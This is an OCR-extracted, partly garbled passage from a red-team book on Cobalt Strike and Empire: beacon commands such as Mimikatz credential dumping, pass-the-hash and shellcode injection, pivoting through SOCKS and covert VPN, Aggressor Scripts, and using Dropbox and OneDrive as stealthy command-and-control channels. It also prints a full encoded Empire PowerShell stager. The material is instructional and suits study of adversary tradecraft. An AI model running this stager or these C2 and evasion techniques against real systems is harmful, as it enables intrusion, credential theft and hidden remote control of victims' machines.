powershell Execute a command through powersne11.exe
powershell-import Import a PowerShell script

ppid Set parent PID for spawned post-ex jobs

ps Show process list
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psexec

Use a service to spawn a session on a host

psexec psh

Use PowerShell to spawn a session on a host

psinject Execute PowerShell command in specific process
pth Pass-the-hash using Mimikatz

pwd Print current directory

rev2self Revert to original token

rm Remove a file or folder

rportfud Set up a reverse port forward

runas

Execute a program as another user

runu

Execute a program under another PID

screenshot

Take a screenshot

shell

Execute a command through cra. exe
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shinject Inject shell code into a process
shspawn Spawn process and inject shell code into it
sleep Set beacon sleep time

socks

Start SOCKS4a server to relay traffic

socks stop

Stop SOCKS4a server

spawn

Spawn a session

sSpawnas

Spawn a session as another user

spawnto Set an executable to spawn processes into
spawnu Spawn a session under another PID

ssh Use SSH to spawn an SSH session on a host
ssh-key Use SSH to spawn an SSH session on a host

steal token

Steal access token from a process
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timestamp Apply timestamps from one file to another
unlink Disconnect from parent beacon

upload Upload a file

wdigest Dump plaintext credentials with Mimikatz

winrm

Use WinRM to spawn a session on a host

wmi

Use WMI to spawn a session on a host
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Pivoting through Cobalt Strike

We have already covered the different ways of pivoting and why this is necessary in cnap
ter 6, P1voting. In this section, we will look at the ways we can pivot into a network
using Cobalt Strike.

Cobalt Strike allows us to pivot in three ways:

e SOCKS Server
e Listener
e Deploy VPN

The preceding pivot can be explained as follows:

e SOCKS Server: This will create a SOCKS4 proxy on our team server. All the
connections that go through this SOCKS proxy will be converted into tasks for the
beacon to execute. This allows us to tunnel inside the network through any type of
beacon. To set up a SOCKS Server, we right-click the host, choose Pivoting |
SOCKS Server, shown as follows:

SOCKS Server
Listener...

Deploy VPN

A new window will then open, asking for the port number on which we want
the server to be started. We enter the port and click on the Launch button:
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S @ Start SOCKS

| Launch || Help |

Scripts X | Listeners X

Once the server is started, we can run other tools such as Metasploit or
Nmap on our system against the network for further reconnaissance and
exploitation. The following screenshot is an example of how we can connect
an Nmap through a SOCKS Server of a Cobalt Strike:

[MacBook=-Air:~ Himanshu$ nmap -sV -Pn 192.168.2.8/24 --proxy socksd://192.168.2.7|
151079

Starting Nmap 7.12 ( https://nmap.org ) at 2018-89-16 19:25 IST

e Listener: A pivot listener allows us to create a listener that tunnels all of its traffic
through a beacon session. This prevents us from creating new connections from our
Cobalt Strike server to the victim's machine, thereby helping us to keep the noise at
a minimum. To set up a listener, right-click on the host, click on Pivoting |
Listener..., shown as follows:
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A new window will then open, where we specify the listener's name, payload,
host, port number, and the remote host and port to which the traffic will be
forwarded:

® @ Mew Listener

A pivot listener is a way to setup a foreign listener and a
reverse port forward that relays traffic to it in one step.

X | Beacon 192.168.2.14@321

Name: [Teat —_

con/icons.cna Payload: |winﬂuwsf’r‘nreignfreuerse_hﬂp - .

Listen Host:  |192.168.2.14

Listen Port: |80

Remote Host: |192.168.2.7

Remote Port: |EﬂEIﬂ

| Save H Help ‘

After entering the data, we click on the Save button and we will see that it runs a
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rportfwa cOmmand and creates a tunnel:

beacon> rportfwd 80 192.168.2.7 80880
[+] started reverse port forward on 80 to 192.168.2.7:8080

[#] Tasked beacon to forward port 80 to 192.168.2.7:8080
[+] host called home, sent: 10 bytes

e Deploy VPN: This features allows us to pivot through VPN using the covert VPN
feature. Covert VPN creates a network interface from the system where the team

server is running to the target network. To set up a VPN we right-click on the host,
choose Pivoting | Deploy VPN:

note pid |last
N ... TN
Access ¥
Explore ¢

LTI SOCKS Server

Spawn Listener...

=CLL I Deploy VPN

A new window will open, where we can choose the destination network and
add a network interface by clicking on the Add button:
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@ Deploy VPN Client

IPv4 Address IPv4 Netmask Hardware MAC
192.168.2.14 255.255.255.0 08:00:27:2D:4D:EQ
Local Interface: - | |

E

|«¢| Clone host MAC address

| Deploy || Help |

We then specify the interface name, the MAC address, the port number, and the
channel to use for tunneling:

C & Setup Interface

Start a network interface and listener for CovertVPN. When a CovertVPN
client is deployed, you will have a layer 2 tap into your target's network.

Interface: phearQ

MAC Address: |52:3d:82:0b:e4:7c

local Port: 3589 |

Channel;

Launch || Help |

For best performance, we recommend the UDP channel. The UDP channel has
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the least amount of overhead compared to the TCP and HTTP channels.
Alternatively, the ICMP, HTTP, or TCP (bind) channels can be used to bypass

firewalls:
—
09 Deploy VPN Client
IPv4 Address IPv4 Netmask Hardware MAC
192.168.2.14 255.255.255.0 08:00:27:20:4D:EQ
Local Interface: |phearQ x Add

[¢| Clone host MAC address

Deploy || Help |

Once the interface is created, we click on the Deploy button and the interface
will be created. We can view the list of currently active VPN channels from the
Cobalt Strike menu, as shown in the following screenshot:
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Cobalt Strike View Attacks Reporting Help

S BETLPLUGwEE P B

New Connection

Preferences

Visualization  *

VPN Interfaces

Listeners

Script Manager

Close
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Aggressor Scripts

Aggressor Scripts is the scripting language for Cobalt Strike 3.0 and above. It can be
considered as a successor to the Cortana scripting language, which is used by Armitage.
Aggressor Scripts is described on Cobalt Strike's official website as follows:

"Aggressor Scripts is a scripting language for red team operations and adversary simulations inspired by scriptable IRC
clients and bots. Its purpose is two-fold. We may create long running bots that simulate virtual red team members,
hacking side-by-side with you. We may also use it to extend and modify the Cobalt Strike client to our needs."

There are a lot of Aggressor Scripts available on the internet which have been
developed by users across the globe to perform various tasks. Most of these are
available on GitHub. In this section, we will learn how to load the scripts on our Cobalt
Strike client and run them.

1. First we can download the scripts from the website: nttps://github.com/bluscreenofiefs
/BAggressorScripts.

2. To load a script permanently on our client, we go to the Cobalt Strike menu and
click on the Script Manager option:

Cobalt Strike View Attacks Reporting Help
NewComecton E ¢ EHE AW FeBE La BH

Preferences internal = user
192.168.0.95 dfx

Visualization 4

VPN Interfaces

Listeners

Close

3. Inthe tab which opens, click on the Load button:
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Eventlog X | Script Console X | Scripts X

eeemmmmm e -
1 1
1 1

\ Unload |H Reload H Help |

| Load

4. We then browse to the directory where we downloaded our script. Choose the
script we want to load and click on the Open button, shown as follows:
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o @ Load a script

Look In: | J AggressorSarpts | B0
D Beaconpire [) LICENSE B slack-mtjﬁ,'-wehhit.ﬂ:;
D ccoc [} mass-dcsync.cna B SIEEp-dnwn-when-nﬁ;
[ OPSEC Profiles [} mimikatz-every-30m.cna [ sleeptimer.cna
[ apache-style-weblog-output.cna  [] mimikatz-timestamp-note-BETA.cna ) stale-beacon-notifier

[ beacon_to_empire.cna [ ping_aliases.cna [} timestamped_activity
[ beaconestablishednote.cna ) powershell.cna
D beaconid_note.cna [} ps-window-alias.cna
" I[} checkin_jobs_context.cna [} README.md
1 eventlog-to-slack.cna [ silver-tickets.cna
| D forcecheckin.cna [ slack-notify-beacon.cna
File Name: ‘

Fles of Type: |AllFiles

‘ Open H Cancel

5. Inthis example, we have loaded two scripts that will run ping aliases.cna: and ps-

window-alias.
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Eventlog X | ScriptConsole X | Scripts X

JUsers/Himanshu/Downloads/AggressorScripts/ps-window-alias.cna
JUsers/Himanshu/Downloads/AggressorScripts/ping_aliases.cna

LL:EEIJ Unload || Reload LI_-IEJ_p_J

6. Upon opening the script in Notepad, we can see that it has created two new
aliases. The first, qping command, is used to ping a host with one ping packet, while
the second, smbscan, 1 used to run a scan on port 445 on a particular host or a range
of hosts:
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B ping_aliases.cna

gauthor bluescreenofjeff

#alias for "gping" to "shell ping -n 1 [target]" and "smbscan" to "portscan [target] 445
nong"

#register help

beacon_command_register({"agping", “send one ping packet with shell",
"Synopsis: gping [target]\m\n" .
"Send one ping packet with the command: shell ping -n 1 [target]");

#setting the alias

alias qping {
binput($1,"shell ping -n 1 $2");
bshell{$1,"ping -n 1 $2");

#Fregister help

beacon_command_register("smbscan", "portscans port 445 without ping discovery",
"Synopsis: smbscan [target]i\m\n" .
"Scans SMB with the command: portscan [targets] none\n\n" .
"[targets] is a comma separated list of hosts to scan. You may also specify\n" .
"IPv4 address ranges (e.g., 192.168.1.128-192.168.2.248, 192.168.1.8/24)");

#setting the alias

alias smbscan {
binput("portscan $1 445 none");
bportscan($1, %2, "445", "none");

7. To test the script, we interact with our beacon and run the gping s.5.5.5 command:
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beacon> qping 8.8.8.8

beacon> shell ping -n 1 8.8.8.8

[#] Tasked beacon to run: ping -n 1 8.8.8.8
[+] host called home, sent: 25 bytes

[+] received output:

Pinging 8.8.8.8 with 32 bytes of data:

Reply from 8.8.8.8: bytes=32 time=2ms TTL=122

Ping statistics for 8.8.8.8:

Packets: Sent = 1, Received = 1, Lost = @ (9% loss),
Approximate round trip times in milli-seconds:

Minimum = 2ms, Maximum = 2ms, Average = 2ms

From the preceding screenshot we can see that it executes ping command
through the shell on the host.

8. We also had another script loaded, ps-windows-a1ias. This window creates an aiias
command that opens the process pane of the selected host:

beacon> pspane
beacon> ps
[+] host called home, sent: 12 bytes

[DFX-PC] dfx/2532

beacon>

Running the command will open the process pane, shown as follows:
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Eventlog X | SeriptConsole X | Seripts X | Beacon 192.168.0.95@2532 X | Processes 192.168.0.95@2532 X
PID PPID Name Arch
0 0 [System Process]

4 0 System

268 4 Smss.exe

33 38 (5155.848

in 364 (555,848

3% 38 Wininit.exe

404 364 winlogon.axe

464 3% services.exe

480 3% 5355.6x8

488 3% lsm.xe

588 464 svchost.exe

648 464 VBoxGervice.exe

n 464 svchost.exe

44 464 svchost.exe

880 464 svchost.exe

| e | et | Log Kot |- el
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Summary

In this chapter, we learned about the listener module of Cobalt Strike along with its type
and usage. We then learned about beacons and their features. We also saw examples of
different features of beacons, both through the beacon menu and the beacon console.
After that, we looked at different methods of pivoting using Cobalt Strike. Finally, we
explored Aggressor Script and its use in Cobalt Strike.
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Questions

1. Is cobalt strike free?
2. Can Cobalt Strike communicate with any other C2?

3. How can we slip through the scanners and Indicator of Compromise (IOCs).
4. Does Cobalt Strike use Metasploit Framework?
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Further reading

For more information on the topics discussed in this chapter, visit the following links:

e A Red Teamer's guide to pivoting: nccps://artkond.com/2017/03/23/pivoting-guide/

e SSH and Meterpreter Pivoting Techniques: nttps://nignhon.coffee/blog/ssh-meterprete
r-pivoting-techniques/

o Aggressor SCripts: nttps://github.con/bluscreencfjeff/AggressorScripts

e HOWTO: Port Forwards through a SOCKS proxy: nttps://vlog.cobaltstrike.com/20

16/06/01/howto-port-forwards-through-a-socks-proxy/

e Kerberos Attacks: https://www.cyberark.com/blog/kerberos-attacks-what-you-need-to-know/
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C2 - Master of Puppets

Almost everyone who is involved with cybersecurity will already have a clear idea
about what a Command and Control server is. In case you don't know, a Command and
Control server, also known as a C&C or a C2, is generally used in cyberattacks. It is a
system that controls all the infected systems (the bots or zombies) that were infected by
the attacker in a malware or phishing attack. A C2 is controlled by an attacker and is
used to send commands to perform different tasks such as a DDoS attack, spamming,
stealing data from bots, or spreading malware. The question remains, therefore, if C2s
are used by cyber criminals to execute a cyberattack, does that makes Red Team
operations illegal?

Many people still have a misunderstanding about the motivation behind red team
operations. The idea of red team is not to hack into an organization and steal the data
with a negative motivation. Instead, red team operations are a simulation carried out by
professionals who mimic cybercriminals. Just as cybercriminals use C2 servers for
cyberattacks, Red Team professionals also use C2 servers to perform simulated
cyberattacks on an organization.

The motivation of a red team is not to protect the organization from an attack. It is to
attack the organization just as a cybercriminal would, but to report the attack to the blue
team as well. The blue team are the defenders of the organization; they'll be the ones
responsible for detecting any malicious or harming activity.

In this chapter, we will cover the following topics:

e Introduction to C2
e Cloud-based file sharing using C2
e (C2 covert channels
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Technical requirements

e Linux
e Empire
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Introduction to C2

In a Red Team engagement, the C2s that are installed and configured are the team
servers that are used to manage the reverse connections. In the previous chapters, we
have covered Koadic, Armitage, Cobalt Strike, and Empire. All of these tools have one
thing in common: they are frameworks that can get a reverse connection and manage
multiple connections at the same time. These C2s are crucial in a red team engagement.
From the basic instances that we looked at in previous chapters, we now have to think
bigger.

One of the biggest issues in red team operations is the detection of the payload by
antivirus software or firewalls. Even if our payload is not detected, the outgoing

connection (also known as egress traffic) from the target server may well be detected by

the monitoring team. How can we perform a red team operation without our Redirector
or C2 being blacklisted or burned?
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Cloud-based file sharing using C2

In a situation the one described previously, organizations monitor the outgoing
connection very closely so it is difficult to get access without getting detected.
Fortunately, many organizations use cloud-based file sharing services from project
execution to delivery. Their trust on these cloud-based file sharing services is often
immovable. As a red teamer, we are going to exploit this trust so that we can get access
in a far stealthier manner.

We are going to make the cloud-based file sharing service a middle-man to set up the
communication playground between the target server and the Empire C2:

Becomes the middle-man between the Empire C2 manages the connection to the
C2 and the Taget. Dropbox / OneDrive server through APls
E— 1
Firewall allows Dropbox / OneDrive We connect to the Empire C2

Stager executes and connects to the server for many organizations to manage the connections

Dropbox / OneDrive Server

DropBox / OneDrive Server Empire C2

Communication between
the target and the
Dropbox / OneDrive server

Target is Encrypted by default

Red Teamer

Assuming that the Empire C2 is properly installed and configured, we will be using
Dropbox and Microsoft's OneDrive for the cloud-based file sharing C2.
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Using Dropbox as the C2

Dropbox is a file-hosting service that offers cloud storage, file synchronization, a
personal cloud, and client software. In this case, we will be using Dropbox to store our
payload so that the target connects to Dropbox and downloads it. Let's check the current
listeners for now using the 1isteners command. This will bring us to the listeners menu
and show us the list of active listeners as well. We can then execute the useiisteners

abx command 1n the 1isteners menu to open the Dropbox Empire 1isteners module:

(Empire) = listeners

Name Module st . 4 KillDate

Empire
DeathStar

(Empire: ) = uselistener dbx
(Empire: ) =

Upon executing the inso command, we can see the options available for this listener:

(Empire:

Name: Dropbox
Category: third_party

S
@harmjoy

Description:
Starts a Dropbox listener.

Dropbox Options:

Hame Required Value Description
SlackToken False Your SlackBot API token to communicate with your Slack instance
DefaultProfile True /news., / / Default communication profile for the agent.

1 :

rv:11.0) like Gecko
KillDate False Date for the listener to exit (MM/dd/yyyy).
Name True dropbox Name for the listener.
ResultsFolder True /results/ The nested Dropbox results folder
Launcher True powershell -noP -sta -w 1 -enc  Launcher string.
DefaultDelay True 60 Agent delay/reach back interval (in seconds}.
TaskingsFolder True /taskings/ The nested Dropbox taskings folder.
APIToken True Authorization token for Dropbox API communication.
WorkingHours False Hours for the agent to operate (09:00-17:00).
Defaultlditter True 0.0 Jitter in agent reachback interval (0.0-1.0).
SlackChannel False #general The Slack channel or DM that notifications will be sent to.
StagingKey True W_xd0@i&| 3. IM-mGATk: XL1A+@QvP{Bz? Staging key for initial agent negotiation.
PollInterval True 5 Polling interval (in seconds) to communicate with the Dropbox Server
DefaultLostLimit True 10 Number of missed checkins before exiting
StagingFolder True /staging/ The nested Dropbox staging folder
BaseFolder True /Empire/ The base Dropbox folder to use for comms.
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The option that we need to set is the API token. The API token can be retrieved only

after regi Stering to DrOpbOX and going to the http://www.dropbox.com/developers/apps/create
link.

In step one, we need to select Dropbox APL

& | & Dropbox, Inc [US] | https://www.dropbox.com/developers/apps/create 44 'h o i) “a O [2]
é:!a o At
t’: Create a new app on the DBX Platform
APIvZ 1. Choose an API
My apps
API Explorer -
- Dropbox API /r\“) Dropbox Business API 5 j\
Documentation
For apps that need to access files in m For apps that need access to Dropbox C/Y\\j
HT Dropbox. Learn more @ _J Business team info. Learn more e
NE
Jav
avaScri
2. Choose the type of access you need
Pyth
ot 3. Name your app
munit
References
Authentication types
B g guide

Content hash

In step two, we need to choose which type of access we need. This can be either:

o App folder: This gives us access to a single folder that is created specifically for
our app

e Full Dropbox: This gives us access to all files and folders in our Dropbox

Let's choose App folder for now. In step three, let's give a name to our app:
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— L & & Dropbox, Inc [US] | https://www.dropbox.com/developers/apps/create

API Explorer
Documentation
HTTP
NET
Java
JavaScript
Python
Swift
Objective-C

Community SDKs

References
Authentication types
Branding guide
Content hash
Data ingress guide
Namespace guide
Content access guide
Developer guide
OAuth guide
v2 migration guide

Webhooks

Chooser

Saver

APIv1

Click on the Create app button to create the app. After doing so, the app dashboard

will look as follows:

Dropbox API — Dropbox Business API

For apps that need to access files in For apps that need access to Dropbox
PP PP P!

EE

Dropbox. Learn more Business team info. Learn more

2. Choose the type of access you need

Learn more about access types

© App folder - Access to a single folder created specifically for your app.

Full Drepbox - Access to all files and folders in a user’s Dropbox.

3. Name your app

This app name is already taken.

2AbyssC2|

| agree to Dropbox API Terms and Conditions
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&« [ & Dropbox, Inc [US] | https://www.dropbox.com/developers/apps/info/ = o 2"“

’E Q =~ Zircanavo Abyss

H:
O
&
(o]
@

33 ZAbyssC2

APIv2 Settings Branding Analytics
My apps
AP| Explorer
Status Development Apply for production
Documentation
HTTP
NET Development users Only you Enable additional users
Java
|avaScript - : ’
ermission type App folder
Python
Swift
b . App folder name ZAbyssC2 Change
Objective-C
Community SDKs
App key EETETETE
References
i App secret Show
Authentication types
Branding guide
Content hash OAuth 2 Redirect URIs
Data ingress guide https:// (http allowed for localhost) Add
Namespace guide
Content access guide Allow implicit grant
Developer guide
i Allow
OAuth guide
v2 migration guide Generated access token

To generate the APIToken, click on the Generate button under the Generated access
token header:
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OAuth 2 Redirect URIs

https:// (http allowed for localhost) Add

Allow implicit grant

Allow

Generated access token

Generate

Chooser/Saver domains example.com Add

If using the Chooser or the Saver on a website, the domain of that site.

Webhooks Webhook URIs

Use this newly generated APIToken in the Empire qvx listener:

OAuth 2 Redirect URIs

https:// (http allowed for localhost) Add

Allow implicit grant

Allow

Generated access token
NREOESREY e s e s s s e e e A

This access token can be used to access your account (zircanavo.abyss@gmail.com) via the API.
Dion't share your access token with anyone.

Set the ar1roken Option and start the aox listener:
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(Empire: ) = set APIToken 1
(Empire: )} = execute

(Empire:

(Empire:
(Empire:
(Empire:

Name Delay/Jitter KillDate

dropbox
Empire
DeathStar

When the listener is ready, Empire will create a folder for itself.

& C @& Dropbox, Inc [US] | https://www.dropbox.com e/Apps/ZAbyssC b ¢ i a S a " T a
1
3:,: Dropbox > Apps > ZAbyssC2 Q 0
F: e Al t =
My files Empire - Only you
=hnaring
File request
B M d
L7 Create new file
5 lelete
I
/.

Inside the =npire folder, we can see three different folders:

e The resuits folder, which will save the results of the executed command on the
target

e The staging folder, which contains the PowerShell and the Python stagers

e The tasxings folder, which contains the tasks given by the Empire C2 to the target
server
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<« c @ Dropbox, Inc [US] | https://www.dropbox.com/h pps/ZAbyssC2/Em T 5 B @ /B W 9

:,3 Dropbox » Apps > ZAbyssC2 > Empire Q 0
Files ame + 1 =
My files results - Only you

equests staging - Only you

taskings = Only you

VL )5

The PowerShell and Python stagers are pushed to the dropbox by C2 so that the target
server can download it.

&« & & Dropbox, Inc [US] | https://www.dropbox.com/home/Apps/ZAl staging AT JE'B
ix #l > ZAbyssC2 > Empire > stagi Q
2 DYSS mpire > staging
Files Name + Modified Members « e
My files <  debugps Yesterday 7:17 pm Only you
Sharing
File requests & debugpy Yesterday 7:17 pm Only you
Deleted files

Now that the Dropbox listener is ready, we can use a stager. In this case, we're going to
use the classic Empire PowerShell launcher:

)} = usestager multi/launcher
) = set Listener dropbox
) > execute

powershell -noP -sta -w 1 -enc SQBGACgAJABOAFMAVgBTAHIACWBIAES8AbgBUAEEAQGBMAEUAL gBOAFMAVEBFAHIACWBPAGS8ADGAUAEDAY()BKAGBAUGAGACOAZWEB FACAAMAAPAHS
AJABHAFAARGAAFSAUGBLAEYAXQAUAE EACWBTAEUADQB 1 AEWANOAUA ECAROBUAFQANOBOAGUAKAANAFMAeOBZAHOAZOBLACAAT 0BhAGAAY(OBNAGUAD OB 1AG4AdAAUAE EADOBRAGSADOBhAH
0AaQBVAGHALgBYAHQAQDBSAHMAIWAPACAATgBHAGUAVABGAEKAZOBOAEWARAA TACGAIWE j AGEAYWB 0AGUAZ ABHAHTADWB1AHAAUABVAGWAQQB j AHKAUWB 1TAHOADABpAGAAZwWBZACCALAANA

rACcAbwBuAFAAOB 1 AGWAQQB jACWAUWBBAGEAJABPAGMAIWAPADSAS(OBmACgAIABHAFAAR gAPAHS AJABHAFAAQWAIACOARWBOAEYAL gBHAGUAVABWAE EADAB1AGUAKAAKAGAAIOBH
AEWAKOA7AEKAZ gAOAC QARWBOAEMARWANAFMAYWBYAGKACABOAETAIWArACCADABVAGMAGWBMAGBAZWBNAGKAbgBNACCAXQAPAHSAJABHAFAAQWBDAC cAUWB j AHT AaQBWAHOAQgANACSATWE
SAGBAYWB rABwAbWBNAGCAaQBUAGCAIWBAAFSAIWBFAGAAY OB i AGWAZ OBTAGMAC gBpAHAAABCACCAKWANAGHRADWE j AGSATABVAGCAZWBpAGIAZWANAFOAP QAWADSAJABHAFAAQWBbAC CAUW
BjAHTIAaOBWAHQAQQANACSAIWBSAGBAYWB PAEWADWBNAGCAAOBUAGCAIWBAAFSATWBFAGAAYDB 1 AGwAZ BTAGMACGBpAHAAJABCAGWADWE j AGSASOBUAHYADWB JAGEAdABpPAGSAbgBMAGEAZ
wBnAGKAbgBNACCAXDAIADAATOAKAH YAYOBSADDARAWBDAGBATABSA EUADWBUAGKAbWBUAHMAL gBHAEUATgBFAFTAQQB j AC4ARABpA EMAVABIAGBAT gBBAHIAeOBbAHMAdABYAGKADGBHACWA
UnBZAFMAVABFAEQALgBPAETAQGB 1AGHAJABAAFOADGABAE4AROBXACIAKOA7 ACOAVIBBAEWAL gBBAEQAZ AROACCAROBUAGEAYBSAGUAUWE j AHIAQDBWAHQAQGANACSATWBSAGBAYWE PA Ew
AbWBNAGCAQQBUAGCAIWASADAAK QA7 AC (]A\i'qBBAENAL']BBAGOAZAAOA( LARDBUAG EAY(]B"AGUAUWB | AH IAH("BW&HOAGQB&.AGSAW\B I‘AEE AhqBZAGSLYV\BIMHOAGUB JAh‘I-ATABV-\G(AZWB A\]
AA7WANACWAMAAPADSAJABHAFAAQRBDACCASABLAEUAK]
GBACWBVAGYA. QBFAFCAHUBUAG(‘IAb )AH I"IAXABOAGS de 1AHIAUV\BOAGUAb AB SAFWAIJV\B ] AHIAUD BnrAH 0AQg, 1A(sAJ NB-;AGSAYV\B rAbw Abth nAGcAﬂUBUAG(AJf\BdA[‘\OAJABZAG EATABY

v cAbwBUAFAAAQB

0B j ACRAUWBOAGEAdABPAG QJ;-\rApA( 4A|JV\B lﬂ.HO.QVgBBA(:WA: \Cy! TABSACWAKABO dwAtAES8AQQBKAG .’ PACAAQWE \!A(iWA TABFAE QVABp.AI':SATgB TACAARwW
BFAE4AROBYAGKAYWAUAEGAQOBTAGGAUWE LAFOAMWB TAHOACGBPAI EAARWBAAC KAKQBIAFSAUGBFAGYAXQAUAE EAUWBZAEUATOB 1 AEwAeQAUAECAROBOAFQACOBRAGUAKAANAFMACOBZAHOAZ
0BtAC4AATOBhAGAAY(BNAGUARQB 1 AGAADAAUAEEADOBOAGEADOBhAHOAGOBVAGHAL gBBAGRACKBPAFUAdABPAGWACWANACKATAA/ AHSAJABFAHOAFAATAHSAJABTACAARWE LAHOARGBpPAEUA
bABKACgAIWBhAGOACABPAEKADGBPAHOARGBhAGKADAB 1AGOAIWASACCAT gBVAGAAUABIAGIADABPAGMALABTAHQAY OBOAGKAYWANACKAL gBTAEUAVABWAEEADABVAGUAKAAKAGAAdOBSAGW
ALAAKAFOACgB1AGUAKOBIADSATQAZ AFSAUWBZAHMAVABFAEGAL gBOAEUAVAAUAFMAZ )BSAHYAGQB j AGUAUABPAGKADGBDAEGAY QBOAGEARWSB FAHTAXQAGADOAR(OBYAFAAZ QBDAHOAMOAWAD
AAQWBPAGAHAdABPAE4AV(B LADOAMAAZ ACOAVWBDADOATgB LAFCALOBPAETAagBFAGMAdAAGAFMANOBZAFQAZ O BtACAATgBFAHOAL gBXAGUAQGBDAGWASOBFAGAAVAAZACQAAQAY,
HoAa(QBsAGWAYQAVADUAL gAWACAAKABXAGKAbgBKAGBAdwWBZACAAT gBUACAANGAUADEADWAGAF CATWBXADYANAA7 ACAAVABYAGKAZAB 1 AGAAdAAVADCAL gAWADSATABYAHYAOg
ACKATABSAGKAGWB 1ACAARWE 1AGMAGWB VACCAOWAKAHCAYWAUAEGAROBBAEQAZ O BYAFMAL gBBAGOAZ AADACCAVOBZAGUACGALAEEAZWBTAGAADAANACWAJABLA OwAkAHCAQ:
PAHGAWOAIAFSAUWBSAFMAVABFAEQAL gBOAEUAVAAUAFCAZOBCAFIAZOBXAHUAZOBTAFQAX0AGADOARABFAGYAQOBLAEWAVABXAEUAY gBOAF IADWBYAF KAOWAKAHCAYWAUAFAAUGBPAF gAe(
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Once the stager is executed on the target, it will connect to the Dropbox C2. At this
point, the Empire C2 will check the status from Dropbox. If the agent is detected, the
Empire C2 will start with the staging process:

(Empire:

Confirm the newly connected agent via Dropbox:

{Empire:

Name La Internal IP Machine Mame Username Process & Last Seen

PT-PC\PT  powershell 2236  60/0.0

(Empire: ) =

Information regarding the agent is shown in the following screenshot:
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{(Empire: ) = interact VB7AZUPG
(Empire:

4932912341340866
0.0

None

192.168.2.5

jgZ=177LTa’rR-IcSDW+~*nl X1 y)2V<
None

2018-09-22 13:49:01

PT-PC

4

[716]

PT-PCAPT

None
powershell
dropbox
2236
fadmin/get. php, /news.php, /login/process.phpiMozilla/5.0 (Windows NT
5.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Microsoft Windows 7 Ultimate

10

Hone

VB7AZUPG

powershell

0.0.0.0

VB7AZUPG

2018-09-22 13:53:¢

2

0

(Empire:

If we analyse the traffic on the target, we can see that the stager is connecting to nttps://w
ww.dropbox.com domain:

Mo. Time Source Destination Protocol  Length Info
473 3.876819 192.168.8.228 162.125.82.8 TLSv1 184 Client Hello
484 3.996575 162.125.82.8 192.168.68.228 TL5v1 1514 Server Hello
497 3.996743 162.125.82.8 192.168.8.220 TLSv1 886 Certificate, Server Key Exchange, Server Hello Done
581 4.838928 192.168.6.2280 162.125.82.8 TLSv1 188 Client Key Exchange, Change Cipher Spec, Encrypted Handshak
586 4.148974 162.125.82.8 192.168.0.220 TLSv1 113 Change Cipher Spec, Encrypted Handshake Message
519 4.286247 162.168.08.228 162.125.82.8 TLSv1 432 ppplication Data, Application Data
577 4.626246 162.125.82.8 192.168.8.228 TLSv1 635 Application Data

670 5.8298393 52. . > : 635 [TCP Spurious Retransmission Application Data

7488 B64.626225 162.125.82.8 192.168.8.228 TLSv1 91 Encrypted Alert

And a valid SSL certificate to communicate:
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577 4.626246

152.168.8.220

7488 64.626225

162.125.82.8 192.168.0.220 TLSv1 91 Encrypted Alert
4|

m ¥
Compression Methods Length: 1

Compression Methods (1 method)
Extensions Length: 56

=

Extension: server_name (len=27)
Type: server_name (8)
Length: 27
4 Server Name Indication extension
Server Name list length: 25

Server Name Type: host_name (@)
Server Name length: 22

Server Name: content.dropboxapi.com
Extension: supported_groups (len=6)
Extension: ec_point_formats (len=2)

m

Create a new account because sometimes Dropbox disable the account.

We can also use Microsoft's OneDrive in a similar manner.
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Using OneDrive as the C2

The settings for OneDrive are different to those of Dropbox, but the concept is the same.
Let's create a OneDrive listener in Empire using the use1istener onedrive command from
the 1isteners menu:

(Empire: } = uselistener onedrive
(Empire: } = info

Hame: Onedrive
Category: third_party

Authors:
@mred4bit

Description:
Starts a Onedrive listener. Setup instructions here:
gist.github. com/mré4bit/3fd8f321717c9a6423f7949d494b6cd9

Comments:
Note that deleting STAGE®-PS.txt from the staging folder
will break existing launchers

Onedrive Options:

The options that are available to set are displayed in the following screenshot:
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Onedrive Options:

Name Required Value Description
SlackToken Your SlackBot APT token to communicate with your Slack instance.
KillDate False Date for the listener to exit (MM/dd/yyyy).
Name True onedrive Name for the listener.
RedirectURI True https://login.live.com/oauth2@_d Redirect URI of the registered application
esktop.srf
ResultsFolder True results The nested Onedrive results folder.
Launcher True powershell -noP -sta -w 1 -enc  Launcher string.
AuthCode True Auth code given after authenticating 0Auth App.
TaskingsFolder True taskings The nested Onedrive taskings folder.
ClientID True Client ID of the 0Auth App.
DefaultProfile True N/AIMicrosoft SkyDriveSync Default communication profile for the agent.
17.005.0107.0008 ship; Windows
NT 10.0 (16299)
DefaultLostLimit True 10 Number of missed checkins before exiting
WorkingHours False Hours for the agent to operate (09:00-17:00).
Defaultlitter True 0.0 Jitter in agent reachback interval (0.0-1.0).
SlackChannel False #general The Slack channel or DM that notifications will be sent to.
RefreshToken False Refresh token used to refresh the auth token
Stagingkey True W xdQ@i&| 3. IM-mGATK: XL1/+@vP{Bz? Staging key for intial agent negotiation.
PollInterval True 5 Polling interval (in seconds) to communicate with Onedrive.
DefaultDelay True 60 Agent delay/reach back interval (in seconds).
StagingFolder True staging The nested Onedrive staging folder.
BaseFolder True empire The base Onedrive folder to use for comms.

The options that we need to start the listener are: autncode and ciient1o.

To get the ciientn, we need to register to Microsoft's developer account and log in. We
can see the application dashboard by visiting nttps://apps.dev.micrsoft.com/#/apprist. Click
the Add an app button to add an application:

< C & https://apps.dev.microsoft.com/#/applL % & o i) a " i &)

.= Microsoft Application Registration Portal Tools [ Feedback
My applications ......

Name App ID / Client Id

Press the “Add an App*” button to create a new application

@ English Contact us erms of use Privacy statement £ Microsoft 2017

Set the application name and click the Create button to continue:
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= & & https://apps.dev.microsoft.com/portal/register-app

n Microsoft Application Registration Portal Tools Docs Feedback

Register your application

Application Name

ZAbyssC2-OneDrive

Guided Setup

|:| Let us help you get started

By proceeding, you agree to the Microsoft Platform Policies

Upon successful creation of the application, we can see the application ID. This is the
client ID that is required by the Empire C2:
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&« C & https://apps.dev.microsoft.com/#/application/dbd8fe94-73f5-4cf3-be28-06a7999785fc w In o S “a P M e

4@ Microsoft  Application Registration Portal Tools Docs Feedback

My applications / ZAbyssC2-OneDrive

ZAbyssC2-OneDrive Registration

Click here for help integrating your application with Microsoft.

Properties

Name

| ZAbyssC2-OneDrive

Application Id
dbd8fe94-73f5-4cf3-be28-06a7999785fc

Application Secrets

Platforms

Let's now set the client ID:

DefaultDelay True 60 Agent aelay.-"'l‘each back interval (in seconds).
StagingFolder True staging The nested Onedrive staging folder.
BaseFolder True empire The base Onedrive folder to use for comms.

(Empire: Y = set ClientID e

We also need to add a redirect URL. We can do this by clicking on the Add
Platform button under the Platforms section:
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Platforms

Add Platform

